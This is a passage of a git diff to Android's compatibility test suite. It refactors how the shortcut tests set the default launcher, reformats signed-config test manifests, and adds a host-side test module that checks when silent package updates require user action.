         final TestRunResult result = listener.getCurrentRunResults();
         if (result.isRunFailure()) {
@@ -234,4 +256,30 @@
         }
         return result;
     }
+
+    protected void grantDpmWrapperPermissions(int userId) throws Exception {
+        // TODO(b/176993670): INTERACT_ACROSS_USERS is needed by DevicePolicyManagerWrapper to
+        // get the current user; the permission is available on mDeviceOwnerUserId because it
+        // was installed with -g, but not on mPrimaryUserId as the app is intalled by code
+        // (DPMS.manageUserUnchecked(), which don't grant it (as this is a privileged permission
+        // that's not available to 3rd party apps). If we get rid of DevicePolicyManagerWrapper,
+        // we won't need to grant it anymore.
+        CLog.i("Granting INTERACT_ACROSS_USERS to DO %s on user %d as it will need to send ordered "
+                + "broadcasts to user 0", DEVICE_OWNER_PKG, userId);
+        getDevice().executeShellCommand("pm grant --user " + userId + " " + DEVICE_OWNER_PKG
+                + " android.permission.INTERACT_ACROSS_USERS");
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+        return isHeadlessSystemUserMode(getDevice());
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    public static boolean isHeadlessSystemUserMode(ITestDevice device)
+            throws DeviceNotAvailableException {
+        final String result = device
+                .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+        return "true".equalsIgnoreCase(result);
+    }
 }
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
index e76cf28..b07160b 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
@@ -25,7 +25,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testWithUninstall_beforeAppRestore() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java
index 56639ce..9595ffe 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPreBackupTest.java
@@ -33,7 +33,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
index 115c476..a9949e5 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
@@ -25,7 +25,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testWithUninstall_afterAppRestore() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java
index b0e0e2c..af7c344 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPreBackupTest.java
@@ -33,7 +33,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java
index 3945a2b..37cdfff 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPostBackupTest.java
@@ -24,7 +24,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testWithUninstall_afterAppRestore() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java
index 2638df3..03e4f54 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/src/android/content/pm/cts/shortcut/backup/launcher3/ShortcutManagerPreBackupTest.java
@@ -33,7 +33,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
index f9ecfef..f631df6 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
@@ -25,7 +25,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testRestoredOnOldVersion() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
index 8d99255..c5f1445 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
@@ -29,7 +29,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        setAsDefaultLauncher(MainActivity.class);
+        setAsDefaultLauncher();
     }
 
     public void testPreBackup() {
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
index 224c8ba..19f2b58 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -291,7 +291,7 @@
 
         // Force launcher 4 to be the default launcher so it'll receive the pin request.
         setDefaultLauncher(getInstrumentation(),
-                "android.content.pm.cts.shortcut.backup.launcher4/.MainActivity");
+                "android.content.pm.cts.shortcut.backup.launcher4");
 
         // Update, set and add have been tested already, so let's test "pin".
 
@@ -319,7 +319,7 @@
         getContext().registerReceiver(onResult, myFilter);
         assertTrue(getManager().requestPinShortcut(ms2,
                 PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
-                        PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+                        PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender()));
 
         assertTrue("Didn't receive requestPinShortcut() callback.",
                 latch.await(30, TimeUnit.SECONDS));
diff --git a/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java b/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
index da91a71..550e509 100644
--- a/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
+++ b/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
@@ -87,9 +87,8 @@
         return android.os.Process.myUserHandle();
     }
 
-    protected void setAsDefaultLauncher(Class<?> clazz) {
-        setDefaultLauncher(getInstrumentation(),
-                getContext().getPackageName() + "/" + clazz.getName());
+    protected void setAsDefaultLauncher() {
+        setDefaultLauncher(getInstrumentation(), getContext());
     }
 
     protected Drawable getIconAsLauncher(String packageName, String shortcutId) {
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java b/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java
index c860523..b0aa391 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java
+++ b/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/Launcher.java
@@ -23,7 +23,6 @@
 
 public class Launcher extends Activity {
     public static void setAsDefaultLauncher(Instrumentation instrumentation, Context context) {
-        setDefaultLauncher(instrumentation,
-                context.getPackageName() + "/" + Launcher.class.getName());
+        setDefaultLauncher(instrumentation, context);
     }
 }
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java b/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java
index 21b0b03..550dcde 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java
+++ b/hostsidetests/shortcuts/deviceside/upgrade/src/android/content/pm/cts/shortcut/upgrade/Launcher.java
@@ -23,7 +23,6 @@
 
 public class Launcher extends Activity {
     public static void setAsDefaultLauncher(Instrumentation instrumentation, Context context) {
-        setDefaultLauncher(instrumentation,
-                context.getPackageName() + "/" + Launcher.class.getName());
+        setDefaultLauncher(instrumentation, context);
     }
 }
diff --git a/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml b/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml
index c5adf51..9ebeb87 100755
--- a/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml
+++ b/hostsidetests/signedconfig/app/version1_instant_AndroidManifest.xml
@@ -1,4 +1,4 @@
-<?xml version="1.0" ?>
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,25 +13,26 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.signedconfig.app"
-    android:versionCode="1"
-    android:versionName="1">
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.cts.signedconfig.app"
+     android:versionCode="1"
+     android:versionName="1">
   <application>
     <meta-data android:name="android.settings.global"
-               android:value="@string/signed_config_v1"/>
+         android:value="@string/signed_config_v1"/>
     <meta-data android:name="android.settings.global.signature"
-               android:value="@string/signed_config_signature_v1"/>
+         android:value="@string/signed_config_signature_v1"/>
 
-    <activity android:name=".Empty">
+    <activity android:name=".Empty"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.intent.action.VIEW" />
-        <category android:name="android.intent.category.DEFAULT" />
-        <category android:name="android.intent.category.BROWSABLE" />
-        <data android:scheme="https" />
-        <data android:host="cts.android.com" />
-        <data android:path="/signedconfig" />
+        <action android:name="android.intent.action.VIEW"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+        <category android:name="android.intent.category.BROWSABLE"/>
+        <data android:scheme="https"/>
+        <data android:host="cts.android.com"/>
+        <data android:path="/signedconfig"/>
       </intent-filter>
     </activity>
 
diff --git a/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml b/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml
index b2d2e56..5010ce3 100755
--- a/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml
+++ b/hostsidetests/signedconfig/app/version2_instant_AndroidManifest.xml
@@ -1,4 +1,4 @@
-<?xml version="1.0" ?>
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,25 +13,26 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.signedconfig.app"
-    android:versionCode="2"
-    android:versionName="2">
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.cts.signedconfig.app"
+     android:versionCode="2"
+     android:versionName="2">
   <application>
     <meta-data android:name="android.settings.global"
-               android:value="@string/signed_config_v2"/>
+         android:value="@string/signed_config_v2"/>
     <meta-data android:name="android.settings.global.signature"
-               android:value="@string/signed_config_signature_v2"/>
+         android:value="@string/signed_config_signature_v2"/>
 
-    <activity android:name=".Empty">
+    <activity android:name=".Empty"
+         android:exported="true">
       <intent-filter>
-        <action android:name="android.intent.action.VIEW" />
-        <category android:name="android.intent.category.DEFAULT" />
-        <category android:name="android.intent.category.BROWSABLE" />
-        <data android:scheme="https" />
-        <data android:host="cts.android.com" />
-        <data android:path="/signedconfig" />
+        <action android:name="android.intent.action.VIEW"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+        <category android:name="android.intent.category.BROWSABLE"/>
+        <data android:scheme="https"/>
+        <data android:host="cts.android.com"/>
+        <data android:path="/signedconfig"/>
       </intent-filter>
     </activity>
 
diff --git a/hostsidetests/silentupdate/Android.bp b/hostsidetests/silentupdate/Android.bp
new file mode 100644
index 0000000..f58fb54
--- /dev/null
+++ b/hostsidetests/silentupdate/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsSilentUpdateHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    data: [
+        ":SilentInstallCurrent",
+        ":SilentInstallQ",
+        ":SilentInstallP",
+    ]
+}
diff --git a/hostsidetests/silentupdate/AndroidTest.xml b/hostsidetests/silentupdate/AndroidTest.xml
new file mode 100644
index 0000000..331bce5
--- /dev/null
+++ b/hostsidetests/silentupdate/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs the silent update install tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSilentUpdateTestCases.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsSilentUpdateHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/silentupdate/OWNERS b/hostsidetests/silentupdate/OWNERS
new file mode 100644
index 0000000..890677b
--- /dev/null
+++ b/hostsidetests/silentupdate/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36137
+patb@google.com
+toddke@google.com
+chiuwinson@google.com
\ No newline at end of file
diff --git a/hostsidetests/silentupdate/app/Android.bp b/hostsidetests/silentupdate/app/Android.bp
new file mode 100644
index 0000000..6c6ef2c
--- /dev/null
+++ b/hostsidetests/silentupdate/app/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "SilentInstallCurrent",
+    manifest:   "AndroidManifest.xml",
+    target_sdk_version: "30"
+}
+
+android_test_helper_app {
+    name: "SilentInstallQ",
+    manifest:   "AndroidManifest.xml",
+    target_sdk_version: "29"
+}
+
+android_test_helper_app {
+    name: "SilentInstallP",
+    manifest:   "AndroidManifest.xml",
+    target_sdk_version: "28"
+}
diff --git a/hostsidetests/silentupdate/app/AndroidManifest.xml b/hostsidetests/silentupdate/app/AndroidManifest.xml
new file mode 100644
index 0000000..0efd0b8
--- /dev/null
+++ b/hostsidetests/silentupdate/app/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.cts.silentupdate.app">
+</manifest>
diff --git a/hostsidetests/silentupdate/src/com/android/tests/hostside/silentupdate/SilentUpdateHostsideTests.java b/hostsidetests/silentupdate/src/com/android/tests/hostside/silentupdate/SilentUpdateHostsideTests.java
new file mode 100644
index 0000000..ed92874
--- /dev/null
+++ b/hostsidetests/silentupdate/src/com/android/tests/hostside/silentupdate/SilentUpdateHostsideTests.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.hostside.silentupdate;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SilentUpdateHostsideTests extends BaseHostJUnit4Test {
+    private static final String INSTALL_APP_OP_COMMAND =
+            "appops set com.android.tests.silentupdate android:request_install_packages ";
+    private static final String TEST_PKG = "com.android.tests.silentupdate";
+    private static final String TEST_CLS = "com.android.tests.silentupdate.SilentUpdateTests";
+    private static final String CURRENT_APK = "SilentInstallCurrent.apk";
+    private static final String P_APK = "SilentInstallP.apk";
+    private static final String Q_APK = "SilentInstallQ.apk";
+
+    @Before
+    public void installAppOpAllowed() throws Exception {
+        getDevice().executeShellCommand(INSTALL_APP_OP_COMMAND + "allow");
+    }
+
+    public void install(String apk, String installerPackageName) throws Exception {
+        getDevice().installPackage(
+                new CompatibilityBuildHelper(getBuild()).getTestFile(apk),
+                true /* reinstall */,
+                installerPackageName == null
+                        ? new String[]{}
+                        : new String[]{"-i", installerPackageName});
+    }
+
+    @After
+    public void installAppOpDefault() throws Exception {
+        getDevice().executeShellCommand(INSTALL_APP_OP_COMMAND + "default");
+    }
+
+    @Before
+    @After
+    public void uninstallTestApp() throws Exception {
+        uninstallPackage("android.cts.silentupdate.app");
+    }
+
+    @Test
+    public void newInstall_RequiresUserAction() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_CLS, "newInstall_RequiresUserAction");
+    }
+
+    @Test
+    public void updateWithUnknownSourcesDisabled_RequiresUserAction() throws Exception {
+        install(CURRENT_APK, TEST_PKG);
+        installAppOpDefault();
+        runDeviceTests(TEST_PKG, TEST_CLS, "updateWithUnknownSourcesDisabled_RequiresUserAction");
+    }
+
+    @Test
+    public void updateAsNonInstallerOfRecord_RequiresUserAction() throws Exception {
+        install(CURRENT_APK, null);
+        installAppOpAllowed();
+        runDeviceTests(TEST_PKG, TEST_CLS, "updateAsNonInstallerOfRecord_RequiresUserAction");
+    }
+
+    @Test
+    public void updatedInstall_RequiresNoUserAction() throws Exception {
+        install(CURRENT_APK, TEST_PKG);
+        runDeviceTests(TEST_PKG, TEST_CLS, "updatedInstall_RequiresNoUserAction");
+    }
+
+    @Test
+    public void updatePreQApp_RequiresUserAction() throws Exception {
+        install(P_APK, TEST_PKG);
+        runDeviceTests(TEST_PKG, TEST_CLS, "updatePreQApp_RequiresUserAction");
+    }
+
+    @Test
+    public void updateQApp_RequiresNoUserAction() throws Exception {
+        install(Q_APK, TEST_PKG);
+        runDeviceTests(TEST_PKG, TEST_CLS, "updateQApp_RequiresNoUserAction");
+    }
+}
diff --git a/hostsidetests/silentupdate/testapp/Android.bp b/hostsidetests/silentupdate/testapp/Android.bp
new file mode 100644
index 0000000..9204dfc
--- /dev/null
+++ b/hostsidetests/silentupdate/testapp/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSilentUpdateTestCases",
+
+    srcs:  ["src/**/*.java", "src/**/*.kt"],
+
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.core_core",
+        "androidx.test.runner",
+        "truth-prebuilt",
+    ],
+    sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    java_resources: [
+        ":SilentInstallCurrent",
+        ":SilentInstallQ",
+        ":SilentInstallP",
+    ]
+}
diff --git a/hostsidetests/silentupdate/testapp/AndroidManifest.xml b/hostsidetests/silentupdate/testapp/AndroidManifest.xml
new file mode 100644
index 0000000..71a4af4
--- /dev/null
+++ b/hostsidetests/silentupdate/testapp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.silentupdate" >
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.UPDATE_PACKAGES_WITHOUT_USER_ACTION" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.tests.silentupdate"/>
+
+</manifest>
diff --git a/hostsidetests/silentupdate/testapp/TEST_MAPPING b/hostsidetests/silentupdate/testapp/TEST_MAPPING
new file mode 100644
index 0000000..d0cc93a
--- /dev/null
+++ b/hostsidetests/silentupdate/testapp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSilentUpdateHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/silentupdate/testapp/src/com/android/tests/silentupdate/SilentUpdateTests.java b/hostsidetests/silentupdate/testapp/src/com/android/tests/silentupdate/SilentUpdateTests.java
new file mode 100644
index 0000000..4fa19ed
--- /dev/null
+++ b/hostsidetests/silentupdate/testapp/src/com/android/tests/silentupdate/SilentUpdateTests.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.silentupdate;
+
+import static android.app.PendingIntent.FLAG_MUTABLE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.SessionParams;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.UUID;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/**
+ * Tests for multi-package (a.k.a. atomic) installs.
+ */
+@RunWith(JUnit4.class)
+public class SilentUpdateTests {
+    private static final String CURRENT_APK = "SilentInstallCurrent.apk";
+    private static final String P_APK = "SilentInstallP.apk";
+    private static final String Q_APK = "SilentInstallQ.apk";
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    @After
+    public void cleanUpSessions() {
+        final Context context = getContext();
+        final PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+        installer.getMySessions().forEach(
+                (session) -> installer.abandonSession(session.getSessionId()));
+    }
+
+    @Test
+    public void newInstall_RequiresUserAction() throws Exception {
+        Assert.assertEquals("New install should require user action",
+                PackageInstaller.STATUS_PENDING_USER_ACTION,
+                install(CURRENT_APK));
+    }
+
